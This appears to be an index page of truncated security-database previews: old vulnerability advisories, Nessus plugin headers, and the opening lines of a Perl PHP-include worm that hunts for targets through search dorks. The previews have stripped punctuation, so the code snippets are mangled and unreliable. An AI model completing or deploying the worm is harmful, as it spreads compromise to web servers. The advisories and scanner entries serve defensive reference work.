guestbookInject.txt

------------------------------------------------------ Nightmare TeAmZ Advisory 010 ------------------------------------------------------ Date - 10/2005 @lex Guestbook 3.3 XSS & CRLF injection AFFECTED PRODUCTS ================= @lex Guestbook http://www.alexphpteam.com OVERVIEW ======== Nice...

Solaris 10 (x86) : 120295-01

SunOS 5.10x86 : mysql man patch. Date this patch was last updated by Sun : Aug/04/05 %NASLMINLEVEL 70300 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/09/17. C Tenable Network Security, Inc. if !...

rsaXSS.txt

RSA XSS Vulnerabilities Author: Rodrigo Gutierrez Affected: RSA "Speaking of Security" Blog Status: Notified Hereby Vendor url: http://www.rsasecurity.com Background. RSA secures more than 15 million user identities, safeguards trillions of business transactions annually and manages the...

CA ARCServe UniversalAgent Detection

The remote host is running the BrightStor ARCServe UniversalAgent on this port. C Tenable Network Security, Inc. include"compat.inc"; if description scriptid18040; scriptversion"1.13"; scriptcvsdate"Date: 2019/11/22"; scriptnameenglish:"CA ARCServe UniversalAgent Detection";...

WebShield Appliance Detection

The remote host appears to be a WebShield appliance. Connections are allowed to the management console. A remote attacker could exploit this to gather information which could be used to mount further attacks. C Tenable Network Security, Inc. include"compat.inc"; if description scriptid17368;...

UBB.threads Detection

The remote host is running UBB.threads, a web-based message board software system written in PHP. %NASLMINLEVEL 70300 C Tenable Network Security include'deprecatednasllevel.inc'; include"compat.inc"; if description scriptid17315; scriptversion"1.14";...

phpMyFAQ Detection

The remote host is running phpMyFAQ, a multi-lingual database-driven FAQ system using PHP and MySQL. C Tenable Network Security, Inc. include"compat.inc"; if description scriptid17297; scriptversion"1.18"; scriptsetattributeattribute:"pluginmodificationdate", value:"2022/06/01";...

PhpIncludeWorm.txt

!/usr/bin/perl use LWP::Simple; use IO::Socket::INET; while1 $numr = int rand9999; $caxe = "."; $caxe1 = "."; $caxe .= rand9999; $caxe1 .= rand9999; $arq = "."; $arq = int rand9999; opensites,"$arq"; print sites ""; closesites; $procura = 'inurl:.php?=' . $numr; for$n=0;$nnewPeerAddr =...

Java Vulnerabilities in Opera 7.54

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Illegalaccess.org Advisory: Opera 7.54 Java vulnerabilities Author: Marc Schnefeld, www.illegalaccess.org Summary Opera 7.54 is vulnerable to leakage of the java sandbox, allowing malicious applets to gain unacceptable privileges. This allows them to ...

opera -- multiple vulnerabilities in Java implementation

Marc Schoenefeld reports: Opera 7.54 is vulnerable to leakage of the java sandbox, allowing malicious applets to gain unacceptable privileges. This allows them to be used for information gathering spying of local identity information and system configurations as well as causing annoying crash...

Debian DSA-067-1 : apache - Remote exploit

We have received reports that the apache' package, as included in the Debian stable' distribution, is vulnerable to the artificially long slash path directory listing vulnerability' as described on SecurityFocus. This vulnerability was announced to bugtraq by Dan Harkless. Quoting the SecurityFoc...

IP Protocols Scan

This plugin detects the protocols understood by the remote IP stack. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. include'deprecatednasllevel.inc'; include"compat.inc"; if description scriptid14788; scriptversion"1.27"; scriptsetattributeattribute:"pluginmodificationdate",...

Microsoft Windows Installed Hotfixes

Using the supplied credentials, Nessus was unable to log into the remote Windows host, enumerate installed hotfixes, or store them in its knowledge base for other plugins to use. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. include'deprecatednasllevel.inc'; include"compat.inc"; if...

Horde Chora Software Detection

The remote host is running Chora, a PHP-based interface to CVS repositories from the Horde Project. This script was written by George A. Theall, . See the Nessus Scripts License for details. include"compat.inc"; if description scriptid13849; scriptversion"1.26";...

Solaris 2.5.1 (x86) : 104819-02

SunOS 5.5.1x86: /usr/bin/passwd and /etc/lib/pampwmgt.so.1 patch. Date this patch was last updated by Sun : Nov/06/01 %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/09/17. C Tenable Network...

Solaris 2.5.1 (x86) : 111026-02

SunOS 5.5.1x86: sdiff patch. Date this patch was last updated by Sun : Oct/19/01 %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/09/17. C Tenable Network Security, Inc. if ! definedfunc"bnrando...

Host Fully Qualified Domain Name (FQDN) Resolution

Nessus was able to resolve the fully qualified domain name FQDN of the remote host. C Tenable Network Security, Inc. include"compat.inc"; ifdescription scriptid12053; scriptversion"1.17"; scriptsetattributeattribute:"pluginmodificationdate", value:"2025/03/13"; scriptnameenglish:"Host Fully...

Microsoft Windows - Users Information : Disabled Accounts

Using the supplied credentials, Nessus was able to list user accounts that have been disabled. C Tenable Network Security, Inc. include"compat.inc"; if description scriptid10897; scriptversion"1.19"; scriptcvsdate"Date: 2018/08/13 14:32:39"; scriptnameenglish:"Microsoft Windows - Users Informatio...

Advisory CA-2002-07 Double Free Bug in zlib Compression Library

CERT Advisory CA-2002-07 Double Free Bug in zlib Compression Library Original release date: March 12, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected Any software that is linked to zlib 1.1.3 or earlier may be affected Data...

Apache 1.3 - Artificially Long Slash Path Directory Listing (2)

Apache 1.3 - Artificially Long Slash Path Directory Listing 2 // source: https://www.securityfocus.com/bid/2503/info Apache HTTPD is the Apache Web Server, freely distributed and actively maintained by the Apache Software Foundation. It is a freely available and widely used software package,...